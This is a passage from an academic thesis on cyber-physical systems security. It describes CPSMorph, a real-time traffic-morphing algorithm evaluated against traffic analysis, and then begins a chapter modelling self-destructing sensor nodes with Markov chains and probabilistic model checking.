munication resources of a CPS. Therefore, we need to systematically design CPSMorph to
minimize the overhead while simultaneously satisfying these two constraints. Towards this
end, we formulate a traffic morphing problem as follows.
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Real-time Traffic Morphing Problem
Given : t0, td, ∪
1≤w≤K,1≤i≤N
{〈Aw, Si〉}
Find : A∗w, ts
Minimize : Nredundant (3.1)





|P (Aw, j)− P (Si, j)|2 = 0 (3.3)
This formulation outlines the following scenario. Suppose a CPS message is generated
at a certain time t0, and the message needs to be sent within δtd seconds. In other words,
the deadline td for sending this message is
td = t0 + δtd. (3.4)
Given all active sessions and their corresponding target sessions that are represented by a
set of 〈Aw, Si〉 pairs, we need to dynamically determine a session A∗w and the time ts to
send out the CPS message, with the goal to minimize the number of redundant packets
to be sent (3.1). The time ts for sending should meet the deadline, which is given by
(3.2). Another constraint (3.3) is that the distance of profiles between an active session
and its corresponding target distribution should converge to 0 when the active session ends,
i.e., when the number of IPD samples in the active session Aw accumulates to that of its
corresponding target session Si.
3.3.2 Algorithm Design
We can solve this problem by three steps. First of all, let aside the delay constraint in (3.2),
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Figure 3.3: CPSMorph Example; Reprinted from [151]
to that of the corresponding target session Si, that is, to satisfy constraint (3.3). Second,
given a CPS message that needs to be sent before td, if none of the packets in the active
sessions that have been scheduled for delivery in the first step can satisfy this deadline, we
identify active sessions that can potentially adjust their packet generation process to send
a packet before td, that is, to meet the delay constraint(3.2). Finally, among all the active
sessions identified in the second step, we identify one session to send the CPS message,
aiming to minimize the number of redundant packets.
3.3.2.1 Adaptive Packet Generation Given a Target Probability Distribution
An active session (Aw) is initiated once the first packet in this session is sent. Upon
sending a packet, CPSMorph will proactively determine the IPD (δt) to send the next
packet to ensure the profile of this active session converges to that of its corresponding
target session. A basic approach is to draw samples of IPD from the target distribution
{P (Si, 1), P (Si, 2), . . . , P (Si, L)}. More specifically, for an active session Aw, after a
packet is sent at time tw last, we generate a random variable δtw to determine the time to
send the next packet, where δtw falls within range (Tj−1, Tj] with probability P (Si, j), and
we can schedule the sending of the next packet at time ti next = ti last + δti.
We now introduce an adaptive packet generation method by modifying this basic ap-
proach. Our motivation is two fold. First, the generation of IPDs should be more flexible
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so that we can adjust it to satisfy the dynamic delay requirements of CPS messages. In
addition, as the number of packets in a network session is limited, we need to guarantee
that the actual distribution of IPD of an active session converges to the target profile when
the session ends.
Our adaptive method takes into account the history of actual IPDs generated in an
active session Aw, and then makes the decision to generate the next packet. After an
active session Aw is initiated, it will generate totally |Si| IPD samples and converge to
{P (Si, 1), P (Si, 2), . . . , P (Si, L)}. Therefore, the number of IPD samples in total that
should be generated by Aw within range (Tj−1, Tj] is |Si| · P (Si, j). We keep track of the
total number of IPD samples that has already been generated in Aw (i.e., |Aw|), from which
|Aw| · P (Aw, j) packets falls within range (Tj−1, Tj]. This means that |Si| · P (Si, j) −
|Aw| · P (Aw, j) more IPDs need to fall within range (Tj−1, Tj] in the future. Therefore,
after sending each packet, we can generate IPDs within range (Tj−1, Tj] with a conditional
probability of
P (δt ∈ (Tj−1, Tj]|Aw) =
|Si| · P (Si, j)− |Aw| · P (Aw, j)
|Si| − |Aw|
(3.5)
It is worth noting that when |Aw| is increased to Si, the active session Aw will be
terminated. Therefore, |Si| − |Aw| > 0. To summarize the adaptive method, once an
active session Aw sends a packet, CPSMorph will update |Aw| and the distribution of its
IPDs ({P (Aw, 1), P (Aw, 2), . . . , P (Aw, L)). CPSMorph then schedules the next packet
after δtw, where δtw is generated following the conditional probability term in (3.5). To
simplify our problem, if we decide to generate an IPD sample within range (Tj−1, Tj], we
set δtw = Tj .
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3.3.2.2 Adjusting Packet Generation to Meet Deadlines
The adaptive packet generation method gives us the flexibility to dynamically meet the
deadlines of CPS messages. For example, as shown in Figure 3.3(a), a CPS agent has gen-
erated a message at the current time t0 and it has to be sent before the deadline td (i.e.,
t0 +δtd). For Session A1, after sending the last packet at time t1 last, another sample of IPD
has been generated resulting in the next sending time at t1 next. However, t1 next is larger
than the deadline td. At the current time t0, we can explore whether it is possible to regen-
erate a different sample of IPD for Session S1 such that it meets the deadline constraint.
We can solve a problem as follows:
Sample Adjustment Problem
Given : t0, td, tw last, Aw, Si
Find : δt∗w = arg max
j∈[1,L]
P (δt ∈ (Tj−1, Tj]|Aw) (3.6)
Subject to : P (δtw ∈ (Tj−1, Tj]|Aw) > 0 (3.7)
t0 < tw last + δtw ≤ td. (3.8)
In this problem, given all the possible IPD samples that meet the eligibility constraint
(3.7) and the delay constraint (3.8) for the current active session Aw, we select a candidate
IPD (t∗w) that is most likely to occur, i.e., with the largest probability as shown in (3.6). If
the solution to this problem exists, the active session Aw could adjust its next sending time
to t′w next = tw last + δt
∗
w when necessary. For example, suppose the packet t1 next of the
session A1 can be adjusted to two candidate packets at t′1 next and at t
′′
1 next, if P (t
′
1 next −
t1 last|A1) > P (t′′1 next − t1 last|A1), we will prefer the candidate packet at t′1 next for the
potential adjustment of A1.
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3.3.2.3 Minimizing redundancy
A CPS agent can open multiple sessions for use, and it is inevitable that redundant packets
should be sent over these sessions to maintain target IPD profiles. Because of the random
nature of our context, it is very challenging to find a globally optimal solution for minimiz-
ing redundancy. To this end, we introduce two strategies to reduce redundancy as much as
possible. First, when there are multiple active sessions whose next sending time (no matter
original scheduled time or adjusted time) can meet the deadline, we always select the one
with the earliest timestamp, i.e., the most recent one, to send our CPS message. Otherwise,
we might waste some recent time slots to send redundant packets. Second, a new session
will be initiated only when we cannot find any candidate times to meet the deadline, after
exploring the possibility of adjustment by solving (3.6) for all the active sessions.
3.3.3 Algorithm
Combining the above three pieces of design, we propose a complete adaptive real-time
traffic morphing algorithm, CPSMorph. At a higher level, CPSMorph controls the initia-
tion and termination of all sessions. Once a session is activated by sending its first packet,
CPSMorph will proactively calculate the IPD, δt, based on the algorithm discussed in Sec-
tion 3.3.2.1, to schedule the next packet for delivery. And when the number of IPD samples
in an active session (|Aw|) reaches the target number of IPD samples (|Si|), the session is
terminated. A CPS agent asks CPSMorph to send a packet by invoking send(msg, δtd),
which is the key component of our algorithm.
The pseudo code of send(msg, δtd) is given in Algorithm 1. When the CPS has
a message to send, CPSMorph checks if there are scheduled packets from existing active
sessions that can meet the deadline. If so, it sends out the message using the earliest eligible
scheduled packets (lines 2-4 in the pseudo code). Fig. 3.3(c) presents an example of this
process: of the three active sessions, the next scheduled packets in A1 and A3 can meet the
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deadline, and the earliest one t3 next will be used to send this CPS message. If none of the
scheduled packets can meet the deadline, we explore whether we can find other candidate
IPDs for each active session by solving the sample adjustment problem (lines 6-8). If we
succeed in finding other candidate IPDs, we choose among them the earliest one to send
the message (lines 9-12). For example, as shown in Fig. 3.3(b), the originally scheduled
packets of all the three sessions cannot meet the deadline. For A1 and A2, we found that
it is possible to regenerate IPDs that can meet the deadline, and then A1 with the earliest
next sending time, t′1 next, is selected to send the packet. It should be noted that there is
no change in the next sending time for session A2 which is not selected, because we just
explored the possibility for adjustment on A2. In case that no suitable IPDs can be found
among the existing active sessions, we initiate a new active session and send out the packet
immediately (line 14).
CPSMorph makes morphing decisions on-the-fly, so it can adapt to the changing dy-
namics of some CPSs. The complexity of the algorithm is proportional to the number of
active sessions and the number of ranges (L) in the time axis. And this low complexity
makes CPSMorph suitable for use in real-time CPS systems.
3.4 Evaluation
Our experiments aim to answer three important questions. 1) Does each active session
maximally resemble its corresponding target session? 2) Is each CPS message always sent
within the time constraint? 3) How much overhead, which results from sending redundant
packets, will be introduced by CPSMorph?
In order to answer these questions, we have conducted experiments using simulated
CPS network traffic and real-world network traces. We collected TCP and UDP packet-
headers from an academic network and used them to obtain target sessions. Specifically,
each target session consists of packets that share the same 5-tuple, namely <SrcIP,
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Algorithm 1 Send(msg, δtd); Reprinted from [151]
1: Get tw next from Aw, where w ∈ [1, K]
2: if There exist tw next ≤ td then
3: Find A∗w = arg min
w∈[1,K]
tw next




6: for Each active Aw do
7: Find δt∗w by solving the sample adjustment problem
8: end for
9: if There exist valid candidates of δt∗w then
10: Find tminw next = min
w∈[1,K]
(tw last + δt
∗
w)
11: Select session A∗w which results in t
min
w next




14: Open a new session and send the packet immediately
15: end if
16: end if
SrcPort, DstIP, DstPort, Protocol>. Target network sessions are mainly
generated by popular network applications that are widely used by students, such as HTTP,
SSH, and FTP. We collected 10,016 target sessions in total.
Considering the fact that CPSs handle both periodic and aperiodic events [277], a
CPS network session, which is often used to exchange messages triggered by these events,
tends to exhibit periodic or sporadic patterns. Therefore, we simulate CPS network traffic
based on these two typical patterns. More specifically, we generate packets every µ seconds
to simulate a periodic CPS network session. For a sporadic CPS network session, a CPS
message can be sent at any time as long as it is within a predefined time window. Therefore,
we simulate a sporadic network session by generating packets whose IPDs follow a uniform
distribution of U(0, 2µ), where 2µ indicates the length of the time window, in other words,
the maximum IPD that can be tolerated by a CPS application. Accordingly, a CPS message
will be sent every µ seconds on average in a simulated sporadic CPS session.
Investigating all CPSs to identify their practical setup is extremely challenging given
the huge variety of CPSs. In our experiments, we explored a wide range of parameter
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Parameter Settings Description
µ 10 to 200 ms, step: 10 ms CPS msg intervals
δtd 10 to 100 ms, step: 10 ms time constraints
M 100, 1,000, 10,000 # of CPS messages
∆T 1 ms discretization step size
for IPD distribution
Table 3.1: Parameters and Their Experimental Settings; Reprinted from [151]
values that are illustrated in Table 3.1. For example, δtd varies from 10 ms to 100 ms
with a step of 10 ms, which covered numerous CPS tasks ranging from remote control
to status monitoring [227]. µ is also derived from a wide range from 10 to 200 ms with
a step of 10 ms, where a small value of µ might imply data collection tasks and a large
value usually corresponds to periodic control. The number of CPS messages in a session
may vary according to different CPSs, and therefore, our setting covers 100, 1, 000 and
10, 000 to represent small, medium, and large CPS sessions, respectively. In addition, we
set ∆T = 1 ms to obtain fine-grained profiles of IPD distributions. We enumerate all
combinations of these parameter values. As the target sessions are randomly assigned to
active sessions and the packet generation (see Sec 3.3.2.1) is dynamic, the algorithm is
nondeterministic. Therefore, we repeat the experiments 10 times for each combination.
3.4.1 Resembling Target Sessions and Satisfying Time Constraints
In order to defend against traffic analysis attacks, an active session has to maximally resem-
ble its corresponding target session. We leverage Kullback-Leibler (KL) divergence [143]
to quantify the similarity between two distributions. In the context of our algorithm, the KL






The more the two distributions differ, the larger the KL divergence. The KL divergence can
be further normalized using 1− e−DKL .
For each simulated CPS network session, we compare it with all background sessions
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Figure 3.4: The Distribution of Normalized Minimum KL Divergence Between a CPS
Session and Background Sessions. All normalized minimum KL divergences are close to 1,
indicating that CPS sessions are easily distinguishable from background traffic; Reprinted
from [151]
(i.e., all target sessions) and obtain the minimum KL divergence. This minimum KL diver-
gence measure implies the extent to which this CPS network session is indistinguishable
from the background traffic. Figure 3.4 presents the normalized minimum KL divergences
of all simulated CPS sessions, where all of them are close to one, indicating fundamental
disparity between CPS sessions and typical network sessions.
In contrast, all the active sessions maintained by CPSMorph have resulted in 0 min-
imum KL divergence. This is because the adaptive packet generation strategy in Section
3.3.2.1 can guarantee that the IPD distribution of a morphed CPS session perfectly resem-
bles that of its corresponding target session. In addition, all CPS messages are sent within
the time constraint δtd specified by a CPS as this is guaranteed by design in Equation (3.2).
3.4.2 Overhead
We use the percentage of redundant packets to measure the overhead introduced by CPSMorph.
CPSMorph incurred a moderate average overhead of 51.84% based on all experiments.
Figure 3.5 depicts the overhead for periodic and sporadic CPS sessions as δtd increases
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Sporadic, µ = 50ms
Figure 3.5: Box Plot of Overhead (% of Redundant Packets) for Periodic/Sporadic CPS















Figure 3.6: Box Plot of Overhead (% of Redundant Packets) for Periodic/Sporadic CPS
Sessions when µ = 50 ms; Reprinted from [151]
ms), CPSMorph needs to open more active sessions with the purpose of satisfying time
constraints and therefore the overhead is high (e.g., with a medium value of 72%). Com-
paratively, as δtd grows, the overhead tends to decrease since the IPDs of existing active
sessions become sufficiently small to meet the time constraints of CPS messages. In addi-
tion, given the same value of µ, CPSMorph yields comparable overhead for both periodic
and sporadic CPS sessions.
Aiming to reduce redundant packets, CPSMorph leverages two strategies: first, when
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none of the existing active sessions has any candidate packet to meet the time requirement,
CPSMorph dynamically adjusts the packet generation process to maximize the usage of
potential short IPDs in each active session (see Section 3.3.2.1); second, when multiple
active sessions are eligible to send CPS messages, CPSMorph selects the session whose
scheduled packet is the most recent one (see Section 3.3.2.3). In order to evaluate the
extent to which these two strategies help CPSMorph reduce the overhead, we perform the
following experiments. First, we disabled the first strategy and CPSMorph needs to open a
new active session to send a message when none of the scheduled packets from all existing
active sessions can satisfy the time constraint. Second, we deactivate the second strategy
and CPSMorph will randomly select an active session to send the CPS message from all
the active sessions whose scheduled times can satisfy the time constraint. Given periodic
CPS sessions with configuration of µ = 50 ms and δtd = 50 ms, Figure 3.6 presents the
overhead of CPSMorph when 1) both redundancy reduction strategies are enabled, 2) the
first one is disabled, and 3) the second one is disabled. CPSMorph incurred overhead of
49.29%, 91.80%, and 61.01%, respectively, demonstrating the effectiveness of these two
strategies on reducing redundant packets.
Different from the existing IPD-based morphing algorithm [176] that only needs one
target session, CPSMorph may need to maintain more than one session at a certain mo-
ment. Figure 3.7 presents the distribution of the maximum number of concurrent active
sessions for each round of experiment. The results indicate that a CPS session will incur
at most 86 and on average 14 concurrent active sessions, where both numbers are much
smaller than the number of simultaneous TCP sessions maintained by a popular P2P client
(e.g., approximately 200 sessions according to [4]). Therefore, CPSMorph also introduces


















Figure 3.7: The Distribution of Maximum Concurrent Active Sessions for a CPS Session;
Reprinted from [151]
3.5 Summary
In this chapter, we proposed a novel traffic morphing algorithm, CPSMorph, to thwart traf-
fic analysis attacks against CPS network sessions. CPSMorph aims to morph the distribu-
tion of inter-packet delays in a CPS session so that it can resemble that of a typical network
session in the background traffic. In addition, CPSMorph assures that all CPS messages
satisfy the real-time constraints specified by the CPS. CPSMorph is agnostic to the charac-
teristics of both CPS sessions and target sessions; it can automatically adjust its morphing
process based on the time constraints and the dynamics of active sessions, resulting in low
complexity and high adaptivity. Experimental results have shown that CPSMorph can
achieve effective traffic morphing for real-time CPS messages with moderate overhead.
CPSMorph currently focuses on the 1st-order distribution of IPDs. However, nothing in
principle prevents CPSMorph from morphing higher-order IPD distributions. Specifically,
we can generate the nth-order distributions of IPDs for target sessions and then use them to
support the morphing process, which will be involved in our future work.
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Chapter 4: Towards Designing
Self-Destructing Cyber-Physical Systems
With Assured Security and Performance
Properties
4.1 Motivation
Compared to traditional computation systems such as desktops, CPSs are more likely to be
attached to physical entities, thereby experiencing a much higher probability to be lost. If
devices in a CPS are lost and collected by an attacker, great security concerns will arise: the
attacker can break into the system (e.g., by brute-force login accesses, exploiting certain
vulnerabilities, or physically disassembling the system) to collect various sensitive infor-
mation such as program instructions and data from both memory [107] and disk. A body
sensor network, which typically consists of surface-mounted wireless devices, represents
a salient example subject to such threat. For example, when a person with body sensors
walks through a public area, a sensor might be lost and then collected by an attacker. Both
programs (i.e., program instructions) and data, no matter in disk or memory, may reveal
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sensitive information of the monitored person such as personal identity, health concerns
(e.g., by the intention of program instructions), and etc.
Addressing such security concerns calls for CPSs that can self-destruct. In other
words, it can autonomously destroy sensitive information if it is lost. A self-destructing
CPS necessitates two capabilities. First, each CPS node needs to be able to determine
whether it is lost. Second, it needs to assure the elimination of sensitive information. For-
tunately, driven by the fractionated design paradigm [105, 137, 231], an increasing number
of CPSs network their devices using short-range wireless communications, such as energy-
efficient bluetooth [33] and Near-Field-Communication [63]. Some CPSs even leverage the
human body as a wireless communication channel [255, 284]. All these communications
are usually sensitive to distance: if a CPS device is lost, it will also likely lose the connec-
tions with other CPS devices. Consequently, the availability of the wireless communication
among CPS devices offers a light-weight and autonomous means to identify the loss status
of a CPS device. Specifically, if a CPS device fails to establish wireless connections with
other CPS nodes, it can conclude that it has been lost.
Despite its pragmatic simplicity, this solution is likely to incur a high false positive rate
since the wireless communications are prone to temporary disruption. For example, a user
may detach a sensor belonging to his body sensor network (BSN) before he takes a shower
and therefore this sensor may lose connection with the network temporarily. Therefore, a
self-destructing CPS has to tolerate potential false positives introduced by the autonomous
loss detection means.
In response, we propose to adopt a cryptographic method to “destruct” the sensitive
information. Specifically, we proactively encrypt the sensitive instructions and data in a
CPS node. The encrypted information is stored locally in the sensor while the decryption
key is remotely stored in another node that is unlikely to be lost. When a task is triggered
by the monitored physical entity, the CPS device will first retrieve the key, then decrypt
the encrypted relevant instructions and data, next load them into the memory, and finally
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execute instructions with data. Once the task is finished, the CPS node will delete all
decrypted sensitive information as well as the local copy of the key. Such design offers two
unique advantages. On the one hand, as long as the task is finished, a CPS node will only
contain the encrypted sensitive information. On the other hand, it tolerates false positives
of loss detection since the CPS node will resume proper operation once it can reestablish
wireless communications with other nodes. For example, if a lost sensor belonging to a
BSN is found by its user, it can resume its operation after retrieving the key from other
nodes.
Nevertheless, this method is likely to significantly degrade system performance con-
sidering the resource-constrained nature of typical CPS devices. Specifically, the adoption
of this method means that the execution of every single task will trigger communication-
intensive key retrieval and computation-intensive decryption. As a result, CPS’ resources,
particularly the power, could be quickly depleted. One straightforward yet effective mitiga-
tion solution is to adopt a caching mechanism. Specifically, decrypted sensitive information
can be cached in a CPS node for a certain amount of time (Tcache) after the task is com-
pleted. In this case, if a new task is triggered before the cache expires, both the key retrieval
and decryption can be avoided.
Intuitively, Tcache implies trade-offs between security and performance: when Tcache
increases, fewer of key retrievals and decryptions will be needed, reducing the energy con-
sumption; a larger value of Tcache renders more time for attackers to compromise the sys-
tem. Assigning a proper value to Tcache, however, faces great challenges as a result of
multiple interacting factors such as task generation patterns, attackers’ capabilities, and the
cache mechanism.
In order to overcome these challenges, we propose to design a framework to guide
the design and configuration of a CPS that lead to assured and optimized balance between
security and performance. The focus of this framework is a stochastic model capable of
characterizing cache, attackers, the task generation, and the interactions among them. This
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model makes possible the rigorous and quantitative analysis towards evaluating how the
value of Tcache impacts the system performance and security. Specifically, we made the
following contributions:
1. We have developed a stochastic framework based on Discrete-Time Markov Chains
(DTMC) to holistically characterize how three critical factors: the task generation,
the cache time, and an attacker’s capability, jointly impact the security and perfor-
mance properties.
2. We have designed properties of security and performance and specified them in the
form of probabilistic computation tree logic (PCTL). We analyze these properties
against DTMC-based CPS models using rigorous probabilistic model checking. The
quantitative analysis results can guide the design and configuration of a CPS that lead
to assured and optimized balance between security and performance.
4.2 Related Work
Confidentiality is a key security property of wireless sensor networks and active research
has been conducted towards this direction. However, most of the existing literature [12,
149, 45, 217, 184] focuses on securing communication channels against malicious eaves-
dropping and tampering. Unfortunately, none of these methods protects the sensitive in-
formation of a sensor node by taking advantage of wireless connections of sensors and
meanwhile overcomes their energy constraints [62, 111]. Nevertheless, self destruct is a
highly desired capability to protect the confidentiality of wireless sensors when they are
deployed in adversarial environments [111]. A few attempts have been made to integrate
self-destruction into sensor design and implementation across both hardware and software
layers. For example, The Vanishing Programmable Resources Project from DARPA seeks
electronic systems capable of physically disappearing. Open platforms call for software-
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based self-destruct capabilities [62, 111] that imply low cost and wide adoption. Specif-
ically, Plastoi et al. [62] proposed an approach to efficiently monitor the power/battery of
a sensor node and active self-destruction code (i.e., deleting sensitive information) before
predicted energy depletion. Curiac et al. designed a method to evaluate the trustworthi-
ness of a sensor node by analyzing its readings and then destroying the information of this
sensor if it is suspicious. Our method differs from these two approaches in a number of
fundamental ways. First, different from these two methods that use computationally in-
tensive algorithms to identify whether the sensor is low in battery or compromised, our
method takes advantage of the nature that short-range wireless communications are sensi-
tive to distance, which is extremely light-weight. Second, both these methods are sensitive
to false positives (e.g., benign cases that are identified as suspicious cases), where wrongly
destroyed information cannot be recovered. Comparably, our method can autonomously
recover from false destruction by retrieving keys from another node. Finally, we propose
a model to quantitatively study the trade-off between the confidentiality and performance,
which, to the best of our knowledge, represents the first attempt towards this direction.
Similar to wireless sensors, traditional computing devices such as laptops and mobile
phones also face data leakage concerns if they are lost. A few methods [96, 97] have
been proposed to address this challenge. Similar to our method, these methods rely on the
same cryptographic mechanism to gain the control of data: sensitive information will be
proactively encrypted using a key; the key, detached from the protected system, will be
retrieved when a legitimate access attempt to the information presents.
Sharif et al. [216] employed a similar cryptographic mechanism to thwart static reverse
engineering (i.e., analyzing a malware binary without executing it). Specifically, sensitive
instructions in the binary will be first encrypted in the memory; they will be decrypted
for execution after the binary retrieves the correct key from the remote server controlled
by the attacker. Since the static analysis of a malware binary protected by the proposed
solution will never trigger key retrieval, reverse engineers will gain no knowledge about
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the decrypted instructions. However, once the malware is executed, it will retrieve the key
and decrypt all sensitive information, making them visible to reverse engineers.
Our proposed framework uses a similar cryptographic mechanism compared to [96,
97, 216] to proactively protect the confidentiality of sensitive information in a sensor node.
However, it differs from existing work in fundamental ways. First, the self-destructing
data designed in [97] has stronger assumptions for both data and attackers compared to
ours. Specifically, it considers that the data will never be used after it self-destructs; it
also assumes that the attacker will attempt to decrypt the encrypted sensitive information
only after the cached key expires. Comparatively, our framework needs to address new
challenges intrinsic to a sensor. On the one hand, sensitive information will be periodically
used to respond to tasks. On the other hand, we consider a more realistic yet challenging
scenario for attackers: they will launch attacks once a sensor device is lost. The method
discussed in [216] cannot be directly used to protect a sensor since sensitive instructions
have to be frequently executed to accomplish pre-defined missions.
4.3 Threat Model
4.3.1 The CPS Model and Task Generation
We consider a typical CPS paradigm where a collection of wirelessly networked nodes
(e.g., sensors, actuators, and controllers) cooperate with each other to monitor and/or in-
strument a physical object. Without the loss of generality, we consider two CPS nodes
capable of communicating with each other, including a surface node and an anchor node:
the surface node is attached to the monitored physical entity and it is likely to be lost; the
anchor node is firmly connected to the physical entity and therefore unlikely to be lost. We
assume that each surface node can be associated with at least one anchor node. In addi-
tion, we consider the scenario that communications among all nodes are protected by their
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pre-configured public & private keys. Therefore, the integrity, authenticity, and confiden-
tiality of communications between a surface node and its corresponding anchor node are
protected. In other words, attackers cannot eavesdrop, hijack, or tamper with the commu-
nication.
Each sensor node will react to tasks that are periodically triggered by the monitored
physical entity [239]. We use time intervals between two consecutive tasks (denoted as
δtask) to profile how tasks are generated. δtask is a random variable whose specific value
will be drawn from a distribution denoted as ftask(δtask). It is worth noting that ftask(δtask)
may vary because of different sensors, monitored entities, and application domains. In
practice, ftask(δtask) can be empirically acquired and it may not follow any well-known
distribution.
4.3.2 The Self-Destructing Algorithm
The general workflow of the proposed self-destructing sensor is presented in Figure 4.1.
Specifically, sensitive information (e.g., sensitive program instructions and data) are en-
crypted using a cryptographic key denoted as k. The encrypted instructions and data are
stored in the surface node while k stays in its corresponding anchor node. When the surface
node is assigned with a task, it needs to use relevant instructions and data to react. In re-
sponse, it will first check whether the decrypted instructions and data have been cached in
the memory. If so, the task will be directly handled by the cached information. Otherwise,
the node will attempt to retrieve k by establishing a wireless connection with the anchor
node. The successful key retrieval makes possible the decryption of instructions and data,
subsequently enabling the task execution. Otherwise, the node will repeat the key retrieval
attempts.
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Figure 4.1: The general workflow of a CPS node for key retrieval; Reprinted from [155]
4.3.3 The Attacker Model
The physical entity, together with its CPS nodes, might be exposed to an unsafe or adver-
sarial environment for a certain amount of time, which is denoted as T . During this time, a
lost CPS node might be collected by attackers. We consider the scenario that attackers can
immediately collect a CPS node after it is lost and simultaneously starting compromising it.
Since we consider CPS nodes that communicate with each other using short-range wireless
communication channels, we assume a surface node will lose the wireless communication
with its corresponding anchor node right after it is lost. We also assume that the attacker
will not bring a lost CPS node back to the communication range of its corresponding anchor
CPS node.
The attacker also needs time to compromise the collected CPS node. Such time de-
pends on various factors such as the physical and logical complexity of the CPS node as
well as the attackers’ tools and proficiency. As a result, it is extremely hard to find a proper
constant value for the attacking time. In order to solve this challenge, we use a random vari-
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able denoted as tattack to represent the time that is needed by an attacker to compromise the
collected CPS node. The value of tattack will be drawn from a probability distribution, de-
noted as fattack(tattack). However, directly obtaining the distribution of tattack is extremely
challenging in the absence of attackers’ collaboration. Fortunately, recent work [42, 196]
has implied that red-team-based testing can be used to approximate adversarial models.
Therefore, we assume fattack(tattack) can be empirically acquired through best-effort prac-
tices (e.g., using red-team-based testing).
In this paper, we consider the scenario that a CPS node will be lost once during the
time period when it is exposed to the adversarial environment (i.e., T ) with equal probabil-
ity for every single time unit. In other words, at each time point across the time window of
T , the CPS node will be lost with the probability of 1
T
.
4.4 Problem Formulation and Background
4.4.1 Objective and Challenges
The objective of this work is to develop a method to evaluate how the cache time (i.e.,
Tcache) impacts the security and the performance of a CPS node given the task-generation
pattern and attackers’ capabilities. A task-generation pattern is characterized by the distri-
bution of time intervals between two consecutive tasks, which is denoted as ftask(δtask); an
attacker’s capability is represented by the distribution of the time required to compromise
a node, which is denoted as fattack(tattack). Specifically, the proposed method will assist
designers in answering the following critical questions in the presence of a possible value
of Tcache.
• Security: What is the probability for a surface node to leak no sensitive information
to the attacker after it is lost and immediately possessed by the attacker?
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• Performance: What is the probability for more than α (α ∈ [0, 1]) of tasks to be
handled by cached program instructions & data without retrieving the key from its
corresponding anchor node? The value of α directly indicates energy/computational
efficiency.
• Security & Performance: What is the probability i) for a surface node to handle at
least β (β ∈ [0, 1]) of tasks using cached instructions & data and meanwhile ii) for
this CPS node to leak no sensitive information?
Given the capabilities of answering these questions jointly, a designer can explore
all possible Tcache values and then make a guided decision. Despite the promise, de-
signing such a method involves great challenges. First, both the security and the perfor-
mance are jointly affected by multiple interacting factors including Tcache, ftask(δtask), and
fattack(tattack). Therefore, the method needs to integrate all these factors. Second, distri-
butions including δtask and tattack could be empirically obtained. As a result, they may not
follow any known distributions, making it extremely hard to develop a method based on an
analytic expression.
4.4.2 Background of Discrete-Time Markov Chains and Probabilistic
Computation Tree Logic
In order to address these challenges, we leverage Discrete-Time Markov Chains (DTMC)
to model the CPS. A DTMC is a tupleM = (S, sinit,P, L) where S is a finite set of states
(i.e., S = {s1, s2, . . . , sn}), sinit is an initial state, P represents a transition probability
matrix (i.e., P : S×S → [0, 1]), and L is a labelling function (i.e., L : S → 2AP ). P(si, sj)
represents the probability of the transition from state si to state sj , where si, sj ∈ S. A path
π over M is a sequence of states from S where P(s, s′) > 0 for any given two adjacent
states s and s′ in π. For any state s ∈ S, PathsM(s) represents all finite paths over M
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that start with state s. Each path can be measured by its probability denoted as Prs, which
describes that a Markov chain behaves in a specific way. To be more specific, Prs is defined
for a path π in PathsM(s) as follows:
Prs({π ∈ PathsM(s)|π = si1si2si3 . . . sim . . . }) =
pi1i2pi2i3 . . . pim−1im
The DTMC supports quantitative verification of properties that are expressed in prob-
abilistic computation tree logic (PCTL) [53]. PCTL is a temporal logic whose syntax is
defined as follows: let AP denote a set of atomic propositions; and a ∈ AP , k ∈ N ,
r ∈ R, and ./∈ {≥, >,<,≤}. The syntax of PCTL splits into a state formula (denoted as
Φ) and a path formula (denoted as Ψ), which are defined as follows, respectively.
Φ ::= true|a|Φ ∧ Φ|¬Φ|AΨ|EΨ
Ψ ::= XΦ|FΦ|GΦ|ΦUΦ
Since formulae include logical operators of ∧ and ¬, operators of disjunction (∨), impli-
cation (⇒) and the boolean value of false can be expressed. Particularly, FΦ represent
all paths that will reach a state indicated as Φ. Interested readers can refer to details of
formulae [54, 116] for more informaiton.
A satisfaction relationship (denoted as |=) is further introduced, which applies to both
states and paths. Specifically, s |= Φ means that Φ is satisfied in state s; π |= Ψ indicates
that Ψ is satisfied by path π. A state formula P./[Ψ] is satisfied in a state s if the probability
of all paths satisfying Ψ satisfies ./ p:
s |= P./p[Ψ] iff Prs({π ∈ PathsM(s)|π |= Ψ}) ./ p.
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A CPS Surface Node
Figure 4.2: The architectural overview of a surface node and an anchor node; Reprinted
from [155]
The evaluation of s |= P./p[Ψ] returns a boolean value (i.e., true or false). In order to
facilitate quantitative analysis, efficient probabilistic model checkers such as PRISM [116]
extends the PCTL semantics so that P./p[Ψ] can be replaced by P=?[Ψ], which can be used
to obtain the probability for all paths that satisfy the specific condition. Specifically,
P=?[Ψ] = Prs({π ∈ PathsM(s)|π |= Ψ})
Using DTMC to model CPS introduces two unique advantages. On the one hand, an
arbitrary distribution of ∆ttask and tattack, which are usually empirically acquired by mon-
itoring physical systems and attackers (or red-team hackers [196]), can be directly incor-
porated into system models. On the other hand, DTMC, PCTL, and model checkers enable
rigorous analysis results by exploring the state space for a DTMC model exhaustively and
efficiently.
4.5 Modeling CPS and Attacker Using DTMC
We have employed a bottom-up strategy to develop the model. Specifically, we first model
each component individually and then integrate these models by synchronizing their tran-
sitions. Particularly, we focus on characterizing six components including 1) “Loss Deci-
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sion”, 2) “Attack Time Assigning”, 3) “Timer”, 4)“Task Generation”, 5) “Cache Manage-
ment”, and 6) “Attacker”. Figure 4.2 presents the architectural overview of these compo-
nents and their interactions that are synchronized by a universal timer. All components and
their synchronization are modeled based on DTMC.
In order to concisely visualize each model, we represent a transition in a DTMC using
“expression-1, expression-2, expression-3”. The “expression-1” refers to the condition that
has to be satisfied to trigger the transition; the “expression-2” stands for the probability
for this transition; and the “expression-3” represents the actions triggered by this transi-
tion (e.g., assigning new values to state variables). For those outgoing transitions from an
arbitrary state that share the same “expression-1”, it is worth noting that the sum of all
its transition probabilities (i.e., the values indicated in its corresponding “expression-2”s)
will be 1. Such concise notation used by our visualized models is slightly different from
the standard ones for DTMC. Nevertheless, the visualized model with such notation can
be deterministically converted to a DTMC model based on notations introduced in Sec-
tion 4.4.2 [54, 116]. We use PRISM [116], a probabilistic model checker, to implement the
framework.
4.5.1 Modeling Individual Components
Component 1: Loss Decision. The “Loss Decision” component decides when the CPS
node is lost. Figure 4.3 presents the DTMC model for this component. Specifically, this
model has two states, “Lost Time Unknown” and “Lost Time Assigned”. Transitions of this
DTMC are enriched by an integer-based variable denoted as tloss, where 0 ≤ tloss ≤ T .
tloss is initialized with 0 (i.e., tloss := 0). tloss = 0 indicates that the CPS node is not lost
and tloss ∈ [1, T ] represents the specific time unit when this CPS node is lost. As discussed
in Sec 4.3.3, we consider the scenario that the CPS node can be lost at any time unit with
